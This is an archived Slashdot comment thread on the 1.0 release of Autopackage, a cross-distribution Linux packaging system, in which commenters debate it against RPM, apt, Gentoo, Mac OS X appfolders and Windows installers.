AutoPackaging for Linux

Isak Savo writes "The next generation packaging format for Linux has reached 1.0. With Autopackage officially declared stable, there is now an easy way for developers to create up to date, easy installable packages. There are lots of screenshots available including a flash demo of a package installation."

Comments

Aren't there enough

[dg41]

Aren't there enough package/software installation formats for Linux that aren't being used enough as it is?

Re:Aren't there enough

[FooBarWidget]

I knew someone would say that. Read our FAQ. Mike posted a part of it below. Please read our website for the full FAQ once the Slashdotting is over.
And we'll be available at #autopackage at irc.freenode.net if you have questions.

Re:Aren't there enough

[diegocgteleline.es]

yes, but that's not the main problem IMO. Package formats are often tought as the number 1 offender when it comes to inter-distro compatibility, but that's not the main problem. The main problem is that package mainteinance happens at distro-level, instead of developer-level. What we need is to move as much mainteinance work to the developers. It's the number 1 cause of problems: A package in debian may require "libfoo", but in fedora it may depend on "foo" or "foo+randomstring". If all those things would be done at developer level, they'd be more coherent, and inter-distro compatibility would be greater. Package format would be irrelevant.

And this is why autopackage is great. It doesn't tries to replace apt/rpm/gentoo, it just tries to be a good way of distributing software, and encourages developers to create their own "autopackage packages" so they work in every distro

Re:Aren't there enough

[Abcd1234]

If all those things would be done at developer level, they'd be more coherent, and inter-distro compatibility would be greater

Woah woah. Let me just stop and laugh for a moment. You're telling me that random developer X can do a better job of making a package than the people who develop the friggin' distro? Are you kidding?? Seriously, the idea that *more* cooks in the kitchen will somehow result in a "more coherent" set of packages is incredibly laughable...

Re:Aren't there enough

[diegocgteleline.es]

Woah woah. Let me just stop and laugh for a moment. You're telling me that random developer X can do a better job of making a package than the people who develop the friggin' distro? Are you kidding??

They won't do "packaging" better, simply it will be better. The developer of project foo may say: "foo version 2.15-b depends on project bar version 1.1 to run properly", and everyone would follow it. Distros still could package themselves in a different way but that won't bee too common, and at that point people may tell "hey, your fedora package don't works properly in debian". My point is that a common package format

WONT SOLVE ANYTHING. Autopackage doesn't solve anything because it's a better format, but because it has a different philosophy. It doesn't matter how good are deb or rpm - they will NEVER work in another distro just because of their philoshopie

Re:Aren't there enough

[Shambhu]

It sounds like you misunderstood. The suggestion is that developers would package their _own_ sofware. The distros wouldn't repackage everybody's software in a way that was unique to that distro, which is what happens now.

Whether or not this would be succesful or not is another question.

The purpose of autopackage

[FooBarWidget]

No doubt lots of people will have all kinds of questions about autopackage, such as:
- "What idiots!! Another packaging format is the last thing we need!"
- "What's wrong with apt-get?"
- "Everybody should use Gentoo!"

Slashdotters are highly encouraged to read the autopackage FAQ! Our project has existed for over 2 years now, and many people have asked us those questions. In short: autopackage is not meant to replace RPM/DEB/apt-get/etc.

If you have more questions, feel free to come over at #autopackage at irc.freenode.net
We'll be glad to answer your questions

Re:The purpose of autopackage

[Screaming Lunatic]

All Your Packages Are Belong To Us [autopackage.org]

All Your Bandwidth Are Belong To Us.

Re:The purpose of autopackage

[Anonymous Coward]

Dammit! All i get is "emerge: there are no ebuilds to satisfy "autopackage".

Crap! *now* what do I do?!?!?

Re:The purpose of autopackage

[k8to]

Every time autopackage gets mentioned, I look into it, only to come away lost as to what problem the project is trying to solve.

It claims to provide binary packages which will install on any distribution, but I don't see any sort of information about how the project plans to address the fact that binary interfaces on linux systems are moderately unstable. It just seems quixotic.

Re:The purpose of autopackage

[FooBarWidget]

Maybe you didn't take a good look at our website. We have had a solution for binary problems for a long time now, and it's called apbuild. If you have any specific questions, feel free to come over at #autopackage at irc.freenode.net

Re:The purpose of autopackage

[AKAImBatman]

A few quick comment on your FAQ:

The first reason is the lack of dependency management. Because you are simply moving folders around, there is no logic involved so you cannot check for your apps dependencies.

OS X handles this at runtime. i.e. You can install the software, but the folder contents contain enough information for the OS to give you an error message when you run it. Usually this amounts to nothing more than "OS X 10.3 required!", but it could be more. FWIW, I think the lack of a "standard" set of OS services in Linux complicates this issue. Under OS X (and to a certain degree Windows), developers always know which libraries they can always depend on, and which ones they should bundle.

You'll note that bundled APIs on OS X and Windows tend not to duplicate each other across a given set of installed programs.

One obvious one is that there is no uninstall logic either, so the app never gets a chance to remove any config files it placed on the system.

This would be true on Linux, but it is NOT true on OS X. In OS X, the desktop integrates with the filesytem and learns via events when an application is added or deleted. This means that OS X users see file associations as soon as the program is added to the system, and they also see the deletion of those associations when the program is removed. It's all very seamless and prevents the dangling associations that plague Windows.

The OS X FS takes things one step further by storing file system IDs instead of path names for everything. This means that if I move my program from the Desktop to Applications, the associations will move with it. Similarly, if I have a file open and I move it, my file will save to the new location instead of the old one.

Another is that the app menus are largely determined by filing system structures. This means that it's hard to have separate menus for each user/different desktop environments without huge numbers of (manually maintained) symlinks.

1. An application menu IS just a bunch of glorified symlinks.

2. OS X handles this by having a system wide Applications folder for all users. If users wish to have private programs, they can drag them to their desktop or home folder.

3. The dock is the user's customized menu. The most commonly used apps are usually already there so that users don't have to hunt for them. If a user wants another app on his dock, he can drag it on there to create a shortcut. Shortcuts are deleted by dragging the icon off the dock or into the trash can.

What your FAQ should say is, "Unfortunately, the Linux design philosophy precludes the use of an appfolders system, as the services required to make such a system work are most likely unavailable on most installations."

Now with that cleared up, good job guys. I'm glad to see that someone is finally tackling my number one Linux gripe. (Check my Journal for more info.) :-)

Re:The purpose of autopackage

[Theatetus]

You'll note that bundled APIs on OS X and Windows tend not to duplicate each other across a given set of installed programs.

OK, I don't know much about Mac but I have to call bullshit on Windows there. Windows packages are constantly rolling their own "common" DLLs, with slight differences, overwriting identically-named DLLs from other packages and clobbering that package's symbols. "DLL hell" wasn't just a clever assonance someone came up with.

Re:The purpose of autopackage

[TheRaven64]

I like the OS X (and GNUstep) way of handling things, but you are wrong about one thing. Deleting a .app bundle does not delete the configuration files. File associations are stored in a .plist file in each .app bundle, and must be periodically refreshed (fine, the system handles this), but other settings are stored in /Library/ or ~/Library/, and stay around after you have removed the application. This is required due to the way in which applications are upgraded in OS X - delete the old one, drag the new one in - however there is no mechanism provided for removing orphaned config files. Similarly, there is no mechanism provided for uninstalling applications packaged as .pkg bundles (e.g. Apple's X11).

Re:The purpose of autopackage

[FooBarWidget]

Native package manager integration is planned for post-1.0.

Some FAQ entries

[IamTheRealMike]

So much for sunsite having plenty of bandwidth and fast servers! Well, here are some select pieces from the FAQ:

# What is autopackage?

For users: it makes software installation on Linux easier. If a project provides an autopackage, you know it can work on your distribution. You know it'll integrate nicely with your desktop and you know it'll be up to date, because it's provided by the software developers themselves. You don't have to choose which distro you run based on how many packages are available.

For developers: it's software that lets you create binary packages for Linux that will install on any distribution, can automatically resolve dependencies and can be installed using multiple front ends, for instance from the command line or from a graphical interface. It lets you get your software to your users quicker, easier and more reliably. It immediately increases your userbase by allowing people with no native package to run your software within seconds.

# Is autopackage meant to replace RPM?

No. RPM is good at managing the core software of a distro. It's fast, well understood and supports features like prepatching of sources. What RPM is not good at is non-core packages, ie programs available from the net, from commercial vendors, magazine coverdisks and so on. This is the area that autopackage tackles. Although in theory it'd be possible to build a distro based around it, in reality such a solution would be very suboptimal as we sacrifice speed for flexibility and distro neutrality. For instance, it can take several seconds to verify the presence of all required dependencies, something that RPM can do far quicker.

# Why a new format? Why do the RPMs I find on the net today only work on one distro?

There are a number of reasons, some obvious, some not so obvious. Let's take them one at a time:

• Dependency metadata: RPMs can have several types of dependencies, the most common being file deps and package deps. In file deps, the package depends on some other package providing that file. Depending on /bin/bash for a shell script is easy, as that file is in the same location with the same name on all systems. Other dependencies are not so simple, there is no file that reliably expresses the dependency, or the file could be in multiple locations. That means sometimes package dependencies are preferred. Unfortunately, there is no standard for naming packages, and distros give them different names, as well as splitting them into different sized pieces. Because of that, often dependency information has to be expressed in a distro-dependent way.
• RPM features: because RPM is, at the end of the day, a tool to help distro makers, they sometimes add new macros and features to it and then use them in their specfiles. People want proper integration of course, so they use Mandrake specific macros or whatever, and then that RPM won't work properly on other distros.
• Binary portability: This one affects all binary packaging systems. A more detailed explanation of the problems faced can be found in Chapter 7 of the developer guide.
• Bad interactions with source code: because the current versions of RPM don't check the system directly, they only check a database, it makes it hard to install them on distros like Gentoo even when they only use file deps. Similar problems arise if you compile things from source.

There are various reasons why a new format was created rather than changing RPM

Re:Some FAQ entries

[IamTheRealMike]

Why bother?

# What's wrong with centralized repositories, apt style?

The system of attempting to package everything the user of the distro might ever want is not scalable. By not scalable, we mean the way in which packages are created and stored in a central location, usually by separate people to those who made the software in the first place. There are several problems with this approach:

• Centralisation introduces lag between upstream releases and actually being able to install them, sometimes measured in months or years.
• Packaging as separate from development tends to introduce obscure bugs caused by packagers not always fully understanding what it is they're packaging. It makes no more sense than UI design or artwork being done by the distribution.
• Distro developers end up duplicating effort on a massive scale. 20 distros == the same software packaged 20 times == 20 times the chance a user will receive a buggy package. Broken packages are not rare: see Wine, which has a huge number of incorrect packages in circulation, Mono which suffers from undesired distro packaging, etc
• apt et al require extremely well controlled repos, otherwise they can get confused and ask users to provide solutions manually : this requires an understanding of the technology we can't expect users to have.
• Very hard to avoid the "shopping mall" type user interface, at which point choice becomes unmanagably large: see Synaptic for a pathological example of this. Better UIs are possible but you're covering up a programmatic model which doesn't match the user model esp for migrants.
• Pushes the "appliance" line of thinking, where a distro is not a platform on which third parties can build with a strong commitment to stability but merely an appliance: a collection of bits that happen to work together but may not tomorrow: you can use what's on the CDs but extend or modify it and you void the warranty. Appliance distros have their place: live demo CDs, router distros, maybe even server distros, but not desktops. To compete with Windows for mindshare and acceptance we must be a platform.

# What's wrong with NeXT/MacOSX style appfolders?

One of the more memorable features of NeXT based systems like MacOS X or GNUstep is that applications do not have installers, but are contained within a single "appfolder", a special type of directory that contains everything the application needs. To install apps, you just drag them into a special Applications folder. To uninstall, drag them to the trash can. This is a beguilingly easy way of managing software, and it's a common conception that Linux should also adopt this mechanism. I'd like to explain why this isn't the approach that autopackage takes to software management.

The first reason is the lack of dependency management. Because you are simply moving folders around, there is no logic involved so you cannot check for your apps dependencies. Most operating systems are made up of many different components, that work together to make the computer work. Linux is no different, but due to the way in which it was developed, Linux has far more components and is far more "pluggable" than most other platforms. As such, the number of discrete components that must be managed is huge. Linux is different to what came before not only in this respect, but also because virtually all the components are freely available on the internet. Because of this, software often has large numbers of dependencies which must be satisfied for it to work correctly. Even simple programs often make use of many shar

Re:Some FAQ entries

[jxdxbx]

Hard drive space is cheap. And so is bandwidth. People on 56k connections can install software from CDs. Don't make things broken for everyone to help them.

Do appfolders (bundles), and if you want the functionality of a shared library, include it in the bundle. Unless it's something like 100 megs. Which it won't be.

If dozens of programs each end up including the same shared code in their appfolders, who cares? Again, hard drive space is cheap, and that's the price to pay for easier system management, and knowing that applications won't suddenly stop working when one of their dependencies has been changed.

Bundles are better.

Re:Some FAQ entries

[jxdxbx]

Also, there are no more DMG exploits. There is nothing wrong with having a few XML files around that belong to an application you no longer have, if it it really irks you, or if programs leave behind large caches, there are plenty of pieces of software that will delete preferences and caches that belong to software you no longer have.

Most applications shouldn't need to modify the OS to run, and for that minority that do, OS X still does have packages. This is how haxies and so forth work.

The only valid objection I've seen to bundles is the one about how a user shouldn't be able to install random software from the internet. This is a pretty good point, but I fail to see how that, even in a system that uses an apt repository, you would be able to prevent a user from downloading and installing some random RPM from a website. You would have to have a severely crippled OS.

Re:Some FAQ entries

[Dave2 Wickham]

Bundles are bad. What happens when a major vulnerability is found in a library which is used by a bunch of apps? With shared deps, you just update that and it's fixed. With bundles you have to update every single app.

Re:Some FAQ entries

[IamTheRealMike]

Are you sure about that? How do you know there are no more exploits? Do you have some power of clairvoyence nobody else does?

The thing that concerns me about the DMG exploits, is that they were caused by the fundamental design of the system not simple typos/poor coding practice. Having appfolders integrate with the system by registering file associations/URL handlers silently through the shell seems like the obvious way to handle this stuff in an "install free" environment, though really it's just doing the install at a later time. But it had unintended side effects which were devastating for security.

The problem is, to solve this you either have to go back to some explicit action integrating software with the system, or pile on more hacks to try and solve the security exploits. Apple chose both - Tiger boasts an improved installer, iTunes comes inside a package etc. But the approach they took with Safari reminds me of Internet Explorer: cover up a flawed technology like ActiveX with more and more hacks and security restrictions that somehow always managed to leak.

You are right that most applications should not need to modify the "system" to run. This is the principle behind authentication-less installation, which we only approximate on Linux with the install to $HOME feature in autopackage. Figuring out the exact set of permissions that are safe for installers to have and then enforcing them is somewhat tricky: both Windows and MacOS X are riddled with programs that demand the administrator password which implies that so far, nobody quite identified the sweet spot.

Re:Some FAQ entries

[jd142]

Don't screw things up for the rest of the world just to get your American ass a little more convenience.

But I thought that was our national policy. Certainly seems that way historically. ;)

Re:Some FAQ entries

[N3wsByt3]

"What RPM is not good at is non-core packages, ie programs available from the net, from commercial vendors, magazine coverdisks and so on. "

You can say that again. In fact, this has exactly been my gripe with linux, including the so-called user-freindly distro's.

Apt-get, rpm, whatever - but if you are just browsing the Net and want to install something it's a real PITA, with Linux. There is no equivalent of an .exe, so you either have to be lucky that they not only have a linux version, but the right rpm for your specific distro, or you can get messy with hopefully clearly mentionned commands on the commandline - which defeats the purpose of having a GUI somewhat.

I have recently have another try at linux, but I just had to give up: while the installation of the OS itself went very well (impressive, even), the real problem was getting applications installed and working. when apt-get or urpmi or whatever doesn't have what you want, or fail for some reason, you just can't do shit, as a joe doe newbie.

Linuw really isn't ready for prime-time on the desktop, that's my honest opinion. But, maybe through projects like these, which *really* try to give the same klick-and-install ease of use, it might finally get there.

Re:Some FAQ entries

[Nailer]

"I fail to see how that, even in a system that uses an apt repository, you would be able to prevent a user from downloading and installing some random RPM from a website. You would have to have a severely crippled OS."

It's pretty simple: if the package isn't signed by someone you trust, refuse to install it. This has the been the behaviour in up2date since it was created, and yum does the same thing. I'd be very surprised if apt/get (at least on systems where package signing is expected) didn't do the same.

RPM itself, when used directly, currently throws up a warning if a package isn't signed by someone trusted, but (uunlike up2date / yum / etc) still installs it. This behavior may change in future tho.

Where does everything get autopackaged to?

[Wavicle]

The biggest problem with Linux distributions is that different distributions have different ideas about where things should go: does this file go in /sbin, /usr/sbin, /usr/bin/, /usr/local/bin, or somewhere else? Where do the configuration settings go? /home/*/.config? /etc/profile?

So, does this address the problem? Most software makers would really like to be able to release ONE package for their software and know that it will end up somewhere sensible.

I know we all love to bash Microsoft, BUT, I have rarely seen an installation problem with software written for Windows.

Re:Where does everything get autopackaged to?

[Abcd1234]

Umm, that's what the Linux Standard Base is for. Blame the distro makers and packagers for not following it. After all, the LSB has been out for a *long* time...

Re:Where does everything get autopackaged to?

[mp3phish]

Because maybe your package is a small project not yet picked up by the distributions. Are you as the maintainer going to package it for debian, mandrake, redhat, and suse? Or would you rather convert your tarballs into autopackages?

I think if I were an upstart package, and nobody were packaging me for their distro, I would want to be converted to an autopackage.

Re:Where does everything get autopackaged to?

[FooBarWidget]

By default, autopackage either installs to /usr or to $HOME (depending on what the user wants). If you really want it to use another prefix, you still can. The reason we use /usr instead of /usr/local is because there are many broken distributions that don't setup paths for /usr/local correctly. And /usr is the standard for many/most distributions.

There's a mirror of the autopackage website's information here.

Re:Where does everything get autopackaged to?

[keesh]

LSB is a redhatism. Some parts of it are utterly daft. You know that X is mandatory under LSB, right?

Mirrordot

[Hachey]

it's about time there was a system to automatically put submitted links thorugh MirrorDot. This is a prime example; /.ed before 10 comments were posted. sheesh.


-----
Check out the Uncyclopedia.org :
The only wiki source for politically incorrect non-information about things like Kitten Huffing and Pong! the Movie !

Yes, we need this!!

[rice_burners_suck]

There aren't many replies to this story yet, but I can already see it: Lots of people are going to complain, "Why the fsck do we need yet another packaging solution?!?! We already have rpm, deb, tgz, blah blah blah..."

The reason is that most of these packaging solutions, while great for developers and those who want detailed knowledge of the inner workings of their systems, simply suck when given to mortal users.

And they don't handle a number of edge cases too well... What if you want different versions of some software to coexist on the same system? What if you want ten different versions of a library? Yes, these can all be handled by current stuff... but not very well. It's bad enough that when we install software here, we actually get the rpms or whatever and then re-package them ourselves to serve our needs.

A packaging solution that actually works is desperately needed.

Re:Yes, we need this!!

[Anonymous Coward]

I hate to say it, but...

It seems to me that {NeXT,Open,GNU}step-style apps are both good for developers, and great for mortal users. Drag an app (it's just a file) to your Applications folder, double-click it to run, drag it to the trash to delete. They also handle your "edge cases" (multiple installed versions) just fine.

They're actually quite a bit simpler for users because an app is just a file -- a first-class object in the system. You don't need a special program just to "install" and "uninstall" programs. You don't need ugly hacks like the "start menu" (Gnome or KDE's reimplementation of it). Users think an app should be a first-class object, and it's perfectly feasible, so as developers we should make that the case.

The autopackage FAQ has "what's wrong with NeXT/MacOSX style appfolders", but it seems to consist mostly of hand-waving and straw men. They don't seem to understand how NeXT/Mac apps work, e.g., w.r.t. linking.

Re:Yes, we need this!!

[doc modulo]

Mod parent up please!

Packages are much more complicated conceptually (files all over the place for example) than appfolders.
Then why use packages? I think the reasons are:
1. Efficiency of HD space and memory
2. Some things are easier to do with files all over the place.

In the end, it's millions of people who have to put up with the confusing situation of packages just so that a few very smart developers can have it easier. That's the wrong way around! Even those same developers USE the program many more times than they have to package it up.

#1 Efficiency on the HD is not THAT important anymore. Multiple copies of libraries on your HD inside different appfolders are doable. Efficiency inside RAM can probably be the same as with packages. Maybe make a big index of all the libraries that are available inside the appfolders on the system.

#2 There MUST be ways around the problems with appfolders. There are only a couple minor ones left. Programmers are supposed to be smart, persistent people. As I said, there MUST be a way around the problems.
Maybe a Daemon that keeps a lookout for everything that has to do with appfolders.

Daemon: "Oh there's a new appfolder in the /programs folder? Let's update the library index with the libraries found inside it"

I don't know exactly, but what I DO KNOW is that the end result of working out all the puzzles surrounding appfolders in the end will make life much better for millions of people. MAYBE the programmers will have to do a little extra work or be just a little bit smarter (probably not) but they ARE the smart ones in this scenario, if there's anybody who has to go through hoops it's supposed to be the programmers, not the users. Besides, programmers are mostly program users as well, they'll get the big benefits just as mortals will.

In the end you cannot talk your way out if this: PC's are supposed to be our slaves and take away work. Users should be able to work with a PC like THEY would like to work with it (appfolders, GUI etc.)

When you're saying: "PC users should learn this and that to install a program" You're basically saying we should steer the evolution of the human race (a program is a thing like this rock I can pick up) into a new direction just so they can work with PC's and packages like they are now.

The PC will improve and change very fast, it should be in the right direction. That direction is to make the PC into something an average human, evolved over millions of years, can use as easy as possible.

Re:Yes, we need this!!

[IamTheRealMike]

The autopackage FAQ has "what's wrong with NeXT/MacOSX style appfolders", but it seems to consist mostly of hand-waving and straw men. They don't seem to understand how NeXT/Mac apps work, e.g., w.r.t. linking.

Could you elaborate please? Of course it's possible to build a system that uses appfolders, NeXTStep is one, however:

• Doing that on Linux is hard, because of dependencies and the lack of a large platform. I'm not interested in theoretical systems, I'm interested in what I use which is Linux. I'm also not interested in MacOS X because I don't use that, and because it's proprietary which is totally not the way forward for our society.

• Linux isn't designed to allow appfolders easily. The freedesktop.org specs are oriented around the concept of "drop a file in this directory, update a cache". This works well for package managers, less well for appfolders. It's done that way for valid reasons: the menu system is designed with administrators, windows compatibility and internationalization in mind. The appfolders menu system isn't really designed per se, it's just a convention to put stuff in /Applications (and a shockingly large number of apps break if they aren't in /Applications).

• The issues with linking etc are well known. Yes I understand how MacOS X linking works, that includes how frameworks work and also the weak linkage Apple use. Before suggesting we don't understand linking how about reviewing things like apbuild and relaytool. Nonetheless, new libraries are manufacturered at a quite astonishing rate on Linux: the openness lends itself to massive and extremely fine grained code reuse. That means we can't just rely on having a bigass platform, though one would be nice. Dep resolution is still important simply to prevent your OS becoming totally obsolete within a year.

The only person who has really done serious work with appfolders on Linux is Thomas Leonard, an extremely smart man who was behind the ROX desktop. Note that appfolders aren't a Mac or NeXT invention, they were done by RISC OS back when I was a wee kid.

As Thomas found out, dependencies are kind of a tricky problem with appfolders. His solution was ZeroInstall, a very nice piece of work I must say. However it had issues, as software often does, and now he is designing something called the "Injector". This has quite a few concepts similar to autopackage, namely management of interfaces and dependencies. So in the process of "fixing" appfolders to have all the features people wanted, he ended up with something that vaguely resembles systems like autopackage and apt-get. Note: that doesn't mean to imply that the Injector is useless or anything, it's not and has some good ideas. I encourage people to check it out!

Just be aware that appfolders tend to evolve into installers eventually. They did on DOS, RISC OS, and of course on MacOS X as well (iTunes comes in an installer and it's not the only one ....)

Wrong Paradigm

[user9918277462]

I've said it before and I'll say it again: The Windows model of acquiring and running software from a large number of random third parties is broken. It is fundamentally unsafe and, frankly, archaic in 2005. We do not trade 5.25" floppy disks with BASIC games on them, and we certainly shouldn't be downloading self-extracting installers from sketchy websites anymore, regardless of OS.

The current Linux model of distros integrating and authenticating software from upstream authors helps ensure the security of the userbase as well as providing installation ease of use. This is something we should be proud of rather than trying to imitate the technically inferior competition.

Re:Wrong Paradigm

[Steven Edwards]

If the Windows Paradigm was broken people would not use Windows. Yes there are some things about Windows that suck but MSI and InstallShield installers are not a example. Windows security in most regards does suck but packaging is one of the few things Windows does right. You do know you can sign a package in Windows right? Vendor certificates work, just install any packages from Microsoft or from any other major third party vendor.

I guess you would only be happy if we just pulled everything down from SVN/CVS and built from source.

Re:Wrong Paradigm

[karmaflux]

Bittorrent calls you a liar, buddy. We trade 5.25" floppies in a metaphorical sense constantly. When I develop a program that takes random input and outputs Frank & Earnest cartoons, I don't want to have to wait for some Board of Linux Usage Oversight to give my 5k perl script the Stamp of Approval.

Nobody's trying to copy the Windows paradigm with autopackage. What they're trying to do is break down that barrier to cross-distribution software releasing. Your average desktop user does not want to compile software. Dropping to a terminal, cd pathtoapp, tar -jxvf whatever.tar.gz, cd newpath, ./configure; make; make install is too much shit for a user -- and then how to uninstall? Keep the source directory there forever?

"If they can't compile they should run Windows" is a stupid, backwards attitude, and autopackage is trying to fix it. Relying on upstream content providers is dangerous -- what happens when you disagree with your upstream provider? You have to switch distributions? Pat recently dropped Gnome support for Slackware -- I still run gnome. I do it with a third-party package from dropline. Is that broken? No.

The way to fix the problems you describe is to educate users, not to remove their usage priveleges. Teach people not to install untrusted software -- and teach them how to tell what software to trust! Don't just slap their hand and yell NO.

Re:Wrong Paradigm

[isaks]

If the package is a self extracting installer or a rpm/deb/whatever doesn't make the slightest difference. It all boils down to if you trust the author of the package or not. A major difference with autopackage wrt rpm/deb/whatever is that the upstream software author creates the package, not random packager joe. If you don't trust the author, you shouldn't be using the software, regardless of package format!

Re:Wrong Paradigm

[schon]

If the Windows Paradigm was broken people would not use Windows.

Yeah, just like if the ActiveX-plugin paradigm was broken, nobody would use IE, right?

Most users have *no* clue if a piece of software is designed incorrectly or not, it has exactly zero bearing on whether the masses use a particular piece of software or not.

Re:Wrong Paradigm

[labratuk]

Bittorrent calls you a liar, buddy. We trade 5.25" floppies in a metaphorical sense constantly.

That's content, not programs. Completely different. And when it's linux iso's They're always the same because they are checked against the hashes. The end result is the same thing as having a very fast ftp.

When I develop a program that takes random input and outputs Frank & Earnest cartoons, I don't want to have to wait for some Board of Linux Usage Oversight to give my 5k perl script the Stamp of Approval.

Then don't. Package it with autopackage, rpm, a tarball, whatever, just beware that users installing it could screw with the way the distro wants things to be done and could mess things up.

Your average desktop user does not want to compile software. Dropping to a terminal, cd pathtoapp, tar -jxvf whatever.tar.gz, cd newpath, ./configure; make; make install is too much shit for a user

Nobody is saying that. Straw man.

What a user can do is use yum, apt, yast, emerge, or a gui tool like synaptic. That's not difficult.

Don't just slap their hand and yell NO.

Nobody's doing that. They're still able to install whatever software they like from wherever they like, but if it causes problems for you, well, I'm probably not going to be able to help you with it buddy.

Re:Wrong Paradigm

[labratuk]

If the Windows Paradigm was broken people would not use Windows.

I'll tell you this now, the packaging system is not the factor that people base their decisions to run windows on.

Yes there are some things about Windows that suck but MSI and InstallShield installers are not a example.

When you are installing from installshield, you're basically saying: 'Hello random executable from the internet (even if you are signed by someone), here, overwrite any of my libraries you'd like, with whatever obscure or customised version you want. Oh, and while you're at it, do whatever you want to my registry...'

I guess you would only be happy if we just pulled everything down from SVN/CVS and built from source.

That's a strawman attack. He didn't say anything like that - in fact it's the complete opposite of what he was arguing.

Re:Wrong Paradigm

[ferratus]

I don't think MSI or InstallShields (or any other Windows installer for that matter) are broken, but I do agree with the parent post in that the way to *get* the software on windows is not all that good.

If there's one thing I love about Linux is the way I can download/install a software using a single command (or a GUI tool) in most distros.

Even Gentoo, not exactly regarded as the most user friendly distro, allows one to download & install a software by doing:

emerge XYZ

That's it. Same goes for Mandrake, Debian, Fedora, etc. End-user distros like Linspire even go further by allowing you to browse through all available software, look up the description and then perform a "one-click" install.

I think that's great, and a whole lot better than the windows (and mac os x) alternative where you have to look for software on the web, try to see if they contain malware, download them, run the installer, etc.

One of the advantage of the system is that the upstream provider (i.e. usually your distro) checks the package for validity. The packages you download won't contain virii or spyware (even if those were to exist on Linux) because the provider would likely not allow them...something MS would certainly do if they controlled the software ppl are downloading.

I know some packages are hard to install (Gnome for example) but for the most part, I feel software installation is a lot easier on Linux than on Windows, unless you go the CVS/SVN route and compile everything yourself.

At least on Mac OS X, you usually simply drag and drop the Application in the Applications folder and that's it. While not perfect, it's a whole lot better than Windows.

Re:Wrong Paradigm

[Canordis]

If the Windows Paradigm was broken people would not use Windows.

"Eat shit, thousands of flies can't be wrong!" Fallacious bullshit. Just because millions of "technically challenged" people use windows every day, doesen't meant it's better than Unix, specially not conceptually. The Windows installation system works, but at the cost of a bloated, buggy, useless registry, and DLLs that are repeated endlessly...

Re:Wrong Paradigm

[Julian352]

That is all nice until you find a package that you need that somehow escaped the repository. At that time comes the painful part of finding all the dependencies, installing them and then manually configuring and installing the package. (And don't even ask me how to uninstall)

For example, I needed a swi-prolog installation for a small class project a couple days back. I needed the GUI library, which means the package available in Gentoo (swi-prolog-lite) would not be sufficient. Thus I had to download the .tar.gz and then go through the install steps.

And now, how do I uninstall it,since the Makefiles don't seem to have make remove/uninstall/etc. that would delete the installed binaries.

Linux needs to improve the installer so that I don't have to wait for someone with repository access to create the package for me.

Re:Wrong Paradigm

[internic]

I don't know much technical detail about software packaging, either in Windows or Linux, so I can only speak based upon my experience. My experience has been that package management in Linux is much preferable to Windows. When I used Windows 2000, I would often install software that later could not be fully or completely uninstalled (broken uninstall), and often software that was installed would make undesirable and unauthorized changes to settings like file associations. I'm not talking about malware here, just legitimate software behaving badly.

Since I've been using Linux, I find that installing packages has predictable results without the unpleasent side effects I mentioned before, and I have yet to have any issues completely removing unneeded software. What's more, installation is generally simpler and more rapid, e.g. apt-get install foo. This was true using both apt-get and urpmi. I won't attempt to claim this is universal, I will only say that it's my experience.

I always throught that in windows the installer what a standalone program that could essentially do whatever it wanted, and uninstallation depended on the good graces of that software. I'm not sure that this is the case, but it seems to fit my experiences. That system always seemed backward to me, because I'd rather that a trusted program on my system perform installation tasks and keep track of them for later removal. This seems to be what happens in apt-get like systems, and it has led to much more desirable results in my case.

Re:nextgen already here: emerge

[ArbitraryConstant]

Developers want to be able to release packages that work on all the Linuxes, not just Gentoo. Not everyone wants to make the fast updates/reliability tradeoff necessary to use Gentoo.

Installation for Windows

[karmaflux]

Right, installing shit is great on Windows. The suicide hotlines start overloading when you try to remove software.

For more information on autopackage...

[mp3phish]

I have been following autopackage for a while now.. It looks promising. This release will be the test to see if anybody will take it seriously (I hope so). Autopackage brings some really cool features to the table:

• Frontends to different windowing and desktop systems.
• Able to resolve dependancies even if you installed other software through the source, or with RPM or DEB
• You will be able to download one package and install it on several different distributions.

Essentially, this will be as flexible as tarballs, only they will install easilly, and have clean upgrade paths and uninstall paths. With clean dependancy resolution. It sounds too good to be true, but you can only know it if you try it.

Here is the sourceforge link with some more info and downloading.

This is a great thing for Linux

[TheMadPenguin]

Seriously. I had envisioned something similar last year but this really takes the cake, or so to speak. I have yet to try Autopackage, but after seeing this, I'm sold. Especially if it works as intended. Cross-distro package management is what we need. Sure, DEB, RPM, TGZ, etc etc are all excellent in their own right, but being able to install packages across multiple distros is what we really need. I for one am impressed. Of course there are a few technical details that I need to learn about as far as cross-distro packaging goes, but it's a step in the right direction in any event.

DIE FANBOY MODS

[Anonymous Coward]

Official Gentoo-Linux-Zealot translator-o-matic

Gentoo Linux is an interesting new distribution with some great features. Unfortunately, it has attracted a large number of clueless wannabes who absolutely MUST advocate Gentoo at every opportunity. Let's look at the language of these zealots, and find out what it really means...

"Gentoo makes me so much more productive."
"Although I can't use the box at the moment because it's compiling something, as it will be for the next five days, it gives me more time to check out the latest USE flags and potentially unstable optimisation settings."

"Gentoo is more in the spirit of open source!"
"Apart from Hello World in Pascal at school, I've never written a single program in my life or contributed to an open source project, yet staring at endless streams of GCC output whizzing by somehow helps me contribute to international freedom."

"I use Gentoo because it's more like the BSDs."
"Last month I tried to install FreeBSD on a well-supported machine, but the text-based installer scared me off. I've never used a BSD, but the guys on Slashdot say that it's l33t though, so surely I must be for using Gentoo."

"Heh, my system is soooo much faster after installing Gentoo."
"I've spent hours recompiling Fetchmail, X-Chat, gEdit and thousands of other programs which spend 99% of their time waiting for user input. Even though only the kernel and glibc make a significant difference with optimisations, and RPMs and .debs can be rebuilt with a handful of commands, my box MUST be faster. It's nothing to do with the fact that I've disabled all startup services and I'm running BlackBox instead of GNOME or KDE."

"...my Gentoo Linux workstation..."
"...my overclocked AMD eMachines box from PC World, and apart from the third-grade made-to-break components and dodgy fan..."

"You Red Hat guys must get sick of dependency hell..."
"I'm too stupid to understand that circular dependencies can be resolved by specifying BOTH .rpms together on the command line, and that problems hardly ever occur if one uses proper Red Hat packages instead of mixing SuSE, Mandrake and Joe's Linux packages together (which the system wasn't designed for)."

"All the other distros are soooo out of date."
"Constantly upgrading to the latest bleeding-edge untested software makes me more productive. Never mind the extensive testing and patching that Debian and Red Hat perform on their packages; I've just emerged the latest GNOME beta snapshot and compiled with -09 -fomit-instructions, and it only crashes once every few hours."

"Let's face it, Gentoo is the future."
"OK, so no serious business is going to even consider Gentoo in the near future, and even with proper support and QA in place, it'll still eat up far too much of a company's valuable time. But this guy I met on #animepr0n is now using it, so it must be growing!"

Please let non-root people install

[Anonymous Coward]

